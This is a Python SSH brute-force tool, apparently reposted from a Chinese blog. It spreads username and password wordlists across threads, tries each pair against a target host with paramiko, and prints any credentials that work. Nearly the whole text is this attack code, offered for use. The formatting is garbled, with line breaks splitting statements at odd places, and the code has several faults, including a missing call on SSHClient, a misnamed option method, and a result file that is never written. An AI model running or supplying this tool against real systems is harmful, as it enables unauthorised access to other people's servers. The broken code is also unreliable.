import optparse
import sys
import os
import threading
import paramiko
class ThreadWork(threading
.Thread
):
def __init__(self
,ip
,usernameBlock
,passwordBlock
,port
):
threading
.Thread
.__init__
(self
)
self
.ip
= ip
self
.port
= port
self
.usernameBlock
= usernameBlock
self
.passworkBlock
= passwordBlock
def run(self
,username
,password
):
'''
用死循环防止因为error reading ssh protocol banner错误
导致线程没有验证账号密码是否正确就抛弃掉
'''
while True:
try:
paramiko
.util
.log_to_file
('SSHattack.log')
ssh
= paramiko
.SSHClient
ssh
.set_missing_host_key_policy
(paramiko
.AutoAddPolicy
())
sys
.stdout
.write
("[*]ssh[{}:{}:{}] => {}\n".format(username
,password
,self
.port
,self
.ip
))
ssh
.connect
(hostname
=self
.ip
,port
=self
.port
,username
=username
,password
=password
,timeout
=10)
ssh
.close
()
resultFile
= open('result','a')
print("[+]success!! username: {}, password: {}".format(username
,password
))
resultFile
.close
()
os
._exit
(0)
except paramiko
.ssh_exception
.AuthenticationException
as e
:
break
except paramiko
.ssh_exception
.SSHException
as e
:
pass
def start(self
):
for userItem
in self
.usernameBlock
:
for pwdItem
in self
.passworkBlock
:
self
.run
(userItem
,pwdItem
)
def partition(list,num
):
step
= int(len(list) / num
)
if step
== 0:
step
= num
partList
= [list[i
:i
+step
] for i
in range(0,len(list),step
)]
return partList
def SshExploit(ip
,usernameFile
,passwordFile
,threadNumber
,sshPort
):
print("==============爆破信息==========")
print("IP" + ip
)
print("Username" + usernameFile
)
print("Password" + passwordFile
)
print("Threads" + str(threadNumber
))
print("Port:" + sshPort
)
print("================================ ")
listUsername
= [line
.strip
() for line
in open(usernameFile
)]
listPassword
= [line
.strip
() for line
in open(passwordFile
)]
blockUsername
= partition
(listUsername
,threadNumber
)
blockPassword
= partition
(listPassword
,threadNumber
)
threads
= []
for sonUserBlock
in blockUsername
:
for sonPassword
in blockPassword
:
work
=ThreadWork
(ip
,sonUserBlock
,sonPassword
,sshPort
)
workThread
= threading
.Thread
(target
=work
.start
)
threads
.append
(workThread
)
for t
in threads
:
t
.start
()
for t
in threads
:
t
.join
()
if __name__
== '__main__':
parser
= optparse
.OptionParser
('usage:python %prog target[opytions] \n\n'
'example: python %prog 127.0.0.1 -u ./username -p ./passwords -t 20\n')
parser
.add_options
('-i','--ip', dest
= 'IP',
default
='127.0.0.1',type='string',
help='target IP')
parser
.add_options
('-t','--threads',dest
= 'threadNum',
default
=10,type = 'int',
help='number of threads')
parser
.add_options
('-u','--username',dest
='userName',
default
= './username',type='string',
help='username file')
parser
.add_options
('-p','--password',dest
='passWord',
default
='./password',type='string',
help='password file')
parser
.add_options
('-P','--port',dest
='port',
default
= '22', type='string',
help='ssh port')
(options
,args
) =parser
.parse_args
()
SshExploit
(options
.IP
,options
.userName
,options
.passWord
,options
.threadNum
,options
.port
)
测试中,有重复提交的密码模块,这几天再复习一下python多线程然后进行修改
转载请注明原文地址: https://lol.8miu.com/read-37624.html